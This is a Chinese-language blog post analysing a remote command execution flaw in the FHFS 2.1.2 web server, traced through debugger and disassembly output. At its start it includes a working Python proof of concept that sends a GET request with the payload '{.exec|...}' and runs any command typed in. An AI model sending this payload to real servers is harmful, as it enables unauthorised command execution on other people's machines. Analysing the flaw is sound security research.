作者:k0shl 转载请注明出处:http://whereisk0shl.top
今天是端午节,不知道大家都吃了粽子没有~这个FHFS漏洞其实网上有一些分析了,在这里我从二进制的角度和大家再做一次详细分享,祝大家端午节安康~
漏洞说明
软件下载:
https://www.exploit-db.com/apps/6448a8af6c050e55fb5d8a90535550a6-FHFS_2.1.2_Install.zip
PoC:
import socket
url = raw_input("Enter URL : ")
try:
while True:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((url, 80))
cmd = raw_input("Enter command (E.g. calc) or press Ctrl+C to exit : ")
req = "GET /?{.exec|"+cmd+".}"
req += " HTTP/1.1\r\n\r\n"
sock.send(req)
sock.close()
print "Done!"
except KeyboardInterrupt:
print "Bye!"
运行PoC,然后按照raw_input过程输入目标的url,以及想执行的内容,比如弹calc(一言不合弹弹弹),就可以看到命令执行了,这个漏洞比较特殊,会产生一个比较有趣的crash,但在执行的时候并没有感觉,只有附加调试器可以看到。
漏洞复现
这是一个很有意思的漏洞,至少以前我做二进制调试时没有碰到过,可能是我的经验还是不足吧!其实严格意义上来说,这个漏洞看上去是一个命令执行漏洞,但实际上却是由于部署在服务器上的应用引起的,对于正则表达式匹配后的输入没有进行严格的检测,从而导致可以执行任意代码,下面对此漏洞进行详细的分析。
Server.dll是FHFS系统的一个动态链接库,它主要负责处理80端口的请求,在接收到GET请求时,由于没有对正则表达式进行有效的转义,在拆分请求后也没有对内容进行检查,从而导致了可以通过exec调用,执行任意代码。
首先打开FHFS系统服务,发现系统开了80端口,接下来执行PoC,程序中断,附加windbg。
0:000> g
(ea8.244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0012f600 edx=0054a944 esi=01635bf0 edi=00000410
eip=00422865 esp=0012f580 ebp=0012f5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
server+0x22865:
00422865 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=????????
0:000> g
(ea8.244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0012f5fc edx=0054a954 esi=01635bf0 edi=00000410
eip=00422865 esp=0012f580 ebp=0012f5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
server+0x22865:
00422865 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=????????
发现程序中断在一处空指针调用,然后程序会进入SEH异常处理流程,这里并不是关键,因为这里程序是编写了一个try catch结构,当try中产生异常时,会进入catch中进行处理,之后会返回,程序会继续执行,按F5继续执行后,发现计算器弹出。
这里我们重新观察一下GET请求部分。
req = "GET /{.exec|calc.}"#?
req += " HTTP/1.1\r\n\r\n"
这里的核心在于{.exec|calc.},这个漏洞明显不是依靠溢出完成的,考虑执行calc的几种函数调用shellexcute和winexec,我们在这两处函数下断点,重新执行PoC。
Breakpoint 0 hit
eax=0267f2a8 ebx=0012eea0 ecx=00000000 edx=00000000 esi=00000000 edi=0000000a
eip=75ea7078 esp=0012ee1c ebp=0012eeb4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
shell32!ShellExecuteA:
75ea7078 8bff mov edi,edi
命中之前提到的空指针中断后程序命中ShellEecuteA,首先看一下shellexcute的函数形态。
HINSTANCE ShellExecute(
HWND hwnd,
LPCTSTR lpOperation,
LPCTSTR lpFile,
LPCTSTR lpParameters,
LPCTSTR lpDirectory,
INT nShowCmd
);
通过dd esp来观察一下参数情况。
0:000> dd esp
0012ee1c 0050d143 00000000 0050d1fc 0267f2a8
0012ee2c 00405911 00000000 00000005 0012eec0
0012ee3c 0050d1a5 0012eeb4 00000006 00000003
0012ee4c 01626960 00000000 00000000 01636048
0012ee5c 01635cd8 00000000 00000000 00000000
0012ee6c 0267f2a8 0267f2a8 00000000 00000005
0012ee7c 00000000 00000000 00000000 00000000
0012ee8c 00000000 00000000 00000000 00000000
0:000> dc 0267f2a8
0267f2a8 636c6163 00530000 00000000 0267f3f1 calc..S.......g.
0267f2b8 00000000 00000009 2e373231 2e302e30 ........127.0.0.
0267f2c8 00740031 0267ef80 00000001 00000007 1.t...g.........
0267f2d8 504d4554 00524944 004c0000 0267f1b1 TEMPDIR...L...g.
0267f2e8 00000000 00000007 454d4f48 00524944 ........HOMEDIR.
0267f2f8 00000000 00000001 00000000 0000000b ................
0267f308 76726573 64207265 006e776f 0267ef80 server down...g.
0267f318 00000001 00000007 454d4f48 00524944 ........HOMEDIR.
第三个参数位置地址中存放的值为calc,也正是第三个待执行的参数,那么接下来看一下堆栈调用。
0:000> kb
ChildEBP RetAddr Args to Child
0012ee18 0050d143 00000000 0050d1fc 0267f110 shell32!ShellExecuteA
WARNING: Stack unwind information not available. Following frames may be wrong.
0012eeb4 00532b47 0012f1c8 0012ef10 00532b7d server+0x10d143
0012ef04 00537230 0012f1c8 0012ef1c 00538178 server+0x132b47
0012f1c8 005092a7 0012f208 0012f218 00509396 server+0x137230
0012f20c 005095df 0012f260 0012f224 0050963f server+0x1092a7
0012f260 0050970d 0012f278 0012f5c0 005355a8 server+0x1095df
0012f278 0050930f 00000003 0012f44c 0012f294 server+0x10970d
0012f2d8 005095df 0012f32c 0012f2f0 0050963f server+0x10930f
0012f32c 0050970d 0012f344 0012f5c0 005355a8 server+0x1095df
0012f344 0050930f 00000002 0012f44c 0012f360 server+0x10970d
0012f3a4 005095df 0012f3f8 0012f3bc 0050963f server+0x10930f
0012f3f8 0050970d 0012f410 0012f5c0 005355a8 server+0x1095df
0012f410 0050976d 00000001 0012f44c 0012f520 server+0x10970d
0012f514 005392a6 ffffff01 0012f52c 005392b4 server+0x10976d
0012f580 00548dfe 0012f594 00548e1a 0012f5ec server+0x1392a6
0012f5ec 00548ecd 0012f60c 0012f7e8 0012f620 server+0x148dfe
0012f614 0054c4f6 0012f7e8 0012f740 0054d3a8 server+0x148ecd
0012f734 0054e0fe 0012f7e8 0012f7f0 0054e785 server+0x14c4f6
我们就从最近的内层函数调用位置开始回溯,观察到底为何会发生漏洞。
漏洞分析
首先在内层函数附近观察上下文。
.text:0050D119 loc_50D119: ; CODE XREF: sub_50CED4+F2j
.text:0050D119 cmp [ebp+var_4], 0
.text:0050D11D jbe short loc_50D148
.text:0050D11F mov eax, [ebp+nShowCmd]
.text:0050D122 push eax ; nShowCmd
.text:0050D123 push 0 ; lpDirectory
.text:0050D125 mov eax, [ebp+var_8]
.text:0050D128 call sub_40590C
.text:0050D12D push eax ; lpParameters
.text:0050D12E mov eax, [ebp+var_4]
.text:0050D131 call sub_40590C
.text:0050D136 push eax ; lpFile
.text:0050D137 push offset Operation ; "open"
.text:0050D13C push 0 ; hwnd
.text:0050D13E call ShellExecuteA
这里直接调用shellexecuteA,而在进入这个函数前就已经处理了{.exec|calc.},所以需要继续向外层函数跟踪。
.text:0053721B loc_53721B: ; CODE XREF: sub_5355A8+1C66j
.text:0053721B mov eax, [ebp+var_4]
.text:0053721E mov edx, offset aExec ; "exec"
.text:00537223 call sub_405858
.text:0053722A push ebp
.text:0053722B call sub_532934
.text:00537230 pop ecx
外层函数中,在loc_53721b块是一个关键部分,在这类会对exec进行判断,若包含此函数,则会进入0053722B地址的call调用,调用执行calc函数sub_532934。
到此我们可以考虑一下整个的执行逻辑,接收到GET包 -> 未知处理 -> exec与要执行的内容分离 -> 执行shellexcute函数。
大概整理了一下逻辑,那么要弄清这个漏洞,就要了解在哪里处理的数据包,又是在哪里拆分的。
接下来我省略了中间回溯的过程,在回溯的过程中我发现了一处关键函数。
int __stdcall sub_5096E8(signed int a1, int a2)
{
int result; // eax@2
int savedregs; // [sp+Ch] [bp+0h]@2
if ( a1 <= 50 )
{
sub_508ED4(&savedregs);
result = sub_509420(&savedregs);
}
return result;
}
这个函数在Server.dll处理过程中被多次调用,根据之前的分析,可以下条件断点。
0:007> bp 005096e8 ".if(eax=0x12f2d4&edi==0x1&esi=0x3){;}.else{g;}"
breakpoint 0 redefined
重新执行PoC,命中断点位置。
(f98.f9c): Unknown exception - code 0eedfade (first chance)
eax=0012f2d4 ebx=005355a8 ecx=0012f5c0 edx=005355a8 esi=00000003 edi=00000001
eip=005096e8 esp=0012f27c ebp=0012f2d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
server+0x1096e8:
005096e8 55 push ebp
根据之前的伪代码部分,我们可以看一下下面的调用。
0:000> dd eax
0012f2d4 00a60b08 0012f32c 005095df 0012f32c
0012f2e4 0012f2f0 0050963f 0012f32c 0012f354
0012f2f4 005096be 0012f32c 00000006 00000003
0012f304 005355a8 00000000 00000000 02ae9608
0012f314 00000003 00000002 00000013 00000028
0012f324 02aa6088 00a3e7c0 0012f344 0050970d
0012f334 0012f344 0012f5c0 005355a8 0012f3a0
0012f344 0012f3a4 0050930f 00000002 0012f44c
0:000> dc 00a60b08
00a60b08 652e7b3f 7c636578 636c6163 00007d2e ?{.exec|calc.}..
可以看到并没有处理url中的关键部分,也就是说,代码执行部分并没有被转义或者进行其他操作,而直接传入了sub_509420函数中,这个函数后续会进行正则处理,然后会执行到之前提到的exec判断部分。
接下来到达函数sub_509818,这个函数会负责正则处理。
.text:00509818 sub_509818 proc near ; CODE XREF: sub_50989C+26p
.text:00509818 ; sub_52CC3C+38p
.text:00509818
.text:00509818 var_4 = dword ptr -4
.text:00509818
.text:00509818 push ebp
.text:00509819 mov ebp, esp
.text:0050981B push ecx
.text:0050981C push ebx
.text:0050981D mov ebx, edx
.text:0050981F mov [ebp+var_4], eax
.text:00509822 mov eax, [ebp+var_4]
.text:00509825 call sub_4058FC
.text:0050982A xor eax, eax
.text:0050982C push ebp
.text:0050982D push offset loc_509865
.text:00509832 push dword ptr fs:[eax]
.text:00509835 mov fs:[eax], esp
.text:00509838 push ebx
.text:00509839 push 0
.text:0050983B mov ecx, offset dword_50987C
.text:00509840 mov edx, offset a__ ; "\\{[.:]|[.:]\\}|\\|"
.text:00509845 mov eax, [ebp+var_4]
.text:00509848 call sub_50A858
.text:0050984D mov ebx, eax
.text:0050984F xor eax, eax
.text:00509851 pop edx
.text:00509852 pop ecx
.text:00509853 pop ecx
.text:00509854 mov fs:[eax], edx
.text:00509857 push offset loc_50986C
.text:0050985C
.text:0050985C loc_50985C: ; CODE XREF: sub_509818+52j
.text:0050985C lea eax, [ebp+var_4]
.text:0050985F call sub_405448
.text:00509864 retn
在00509840地址位置调用了一个常量a__,这个常量的值是{. | .},之后会调用sub_50A858函数,正是这个处理之后,exec会和calc分离,之后没有进行任何判断,到达触发函数位置。